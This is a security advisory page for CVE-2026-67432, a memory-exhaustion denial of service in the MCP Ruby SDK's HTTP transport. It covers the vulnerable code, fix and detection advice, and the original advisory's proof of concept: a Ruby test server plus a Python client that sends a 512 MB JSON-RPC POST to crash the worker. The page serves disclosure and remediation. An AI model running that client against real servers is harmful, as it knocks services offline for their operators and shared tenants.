CVE-2026-67432: MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport
The MCP Ruby SDK (gem mcp) reads a whole HTTP request body into memory with no size limit in StreamableHTTPTransport. One unauthenticated oversized JSON-RPC POST can exhaust a worker's memory and take the server down. Versions up to 0.22.0 are affected. Upgrade to 0.23.0.
Published Jul 30, 2026 · Analysis Oct 25, 2026
What an attacker can do
In lib/mcp/server/transports/streamable_http_transport.rb, handle_post calls request.body.read at line 341 and then JSON.parse(body_string, symbolize_names: true) at lines 531-535. There is no byte cap, no Content-Length pre-check and no streaming parser. Every JSON key also becomes a Ruby symbol.
This runs before session validation. It works in the default stateful mode and in stateless: true mode, with no Mcp-Session-Id header and no credentials. The only requirement is TCP reach of the MCP endpoint.
In the reporter's test (Ruby 3.2.4, WEBrick), one 512 MB POST grew resident memory from 44 MB to 1.66 GB, about 37 times, and the memory was not released. A worker with a cap near 2 GB or less is killed by the same request. Repeated low-rate requests keep the service down across restarts, and on shared deployments one tenant could starve the others. Any Rack deployment of the transport is the canonical case.
A second instance sits in stdio_transport.rb at line 23, where $stdin.gets has no limit. Its impact is smaller because the peer is normally a trusted parent process.
Who is affected
mcp gem up to and including 0.22.0, for any server that mounts MCP::Server::Transports::StreamableHTTPTransport as a Rack app, stateful or stateless. The stdio transport shares the root cause but is exposed only to its own peer.
bundle list | grep mcp
gem list mcpmcp
- Ecosystem
- RubyGems
- Affected
- <= 0.22.0
- Fixed in
- 0.23.0
- Check
bundle info mcp
How to fix it
Upgrade to mcp 0.23.0:
bundle update mcpThe 0.23.0 release notes list bounded request body and frame reads against memory-exhaustion DoS, and bounded stdio frame reads using max_line_bytes. They do not give the default limits, so check the gem docs.
As a stopgap on older versions, enforce a body size cap in front of the app, for example in your reverse proxy or a Rack middleware that rejects a Content-Length above a few MiB, and set per-worker memory limits with automatic restart.
How to tell if you were hit
Look for single POST requests to the MCP endpoint with very large Content-Length values in proxy or access logs, followed by a worker being OOM-killed or restarted. Watch resident memory per worker for sudden jumps that do not fall back. Container logs showing OOMKilled, or dmesg out-of-memory entries, on the MCP process are the typical trace. Requests arriving without an Mcp-Session-Id that still carry large bodies are suspect.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.
Affected component
lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:
- Line 341:
body_string = request.body.read— reads the full HTTP body into memory with no upper bound. - Lines 531–535:
JSON.parse(body_string, symbolize_names: true)— fully materialises the parsed object graph; withsymbolize_names: trueevery JSON key also allocates a Ruby symbol.
The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.
A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.
Proof of concept
Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.
Server (oom_poc_server.rb)
require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"
server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
server, stateless: true, enable_json_response: true,
)
Thread.new do
loop do
rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
sleep 2
end
end
STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
transport,
Host: "127.0.0.1", Port: 9293,
AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)Client (oom_poc_client.py)
import socket
HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512
inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'
headers = (
f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()
s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
print("recv:", s.recv(2048)[:200])
except OSError as e:
print("server unresponsive:", e)Reproduction commands
bundle install
ruby oom_poc_server.rb # terminal A
python3 oom_poc_client.py # terminal BObserved result
Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:
[mem] PID=61394 RSS=44 MB # idle baseline
[mem] PID=61394 RSS=44 MB
[mem] PID=61394 RSS=44 MB
[mem] PID=61394 RSS=1663 MB # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB # memory not released
[mem] PID=61394 RSS=1663 MBA single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.
Impact
- Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
- Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
- Affected deployments: every server mounting
MCP::Server::Transports::StreamableHTTPTransportas a Rack app — the canonical HTTP deployment pattern. Both stateful andstateless: trueconfigurations are affected.
Suggested mitigation
- Reject requests whose
Content-Length(or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before callingrequest.body.read. - Use a streaming JSON parser, or pass
max_nesting:plus a hard byte cap toJSON.parse. - Apply the same
limit:argument to$stdin.getsinStdioTransportfor defence in depth.
Credited to hewei-gikaku.
Questions
- Does the attacker need to authenticate to exploit CVE-2026-67432?
No. The oversized body is read before session validation, so no session or credentials are needed. TCP access to the MCP endpoint is enough.
- Does stateless mode avoid the problem?
No. The report shows both the default stateful mode and stateless: true are affected, because the unbounded read happens first.
- How bad is one request?
In the report, one 512 MB POST raised memory from 44 MB to 1.66 GB. Workers capped at about 2 GB or less would be killed by it.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
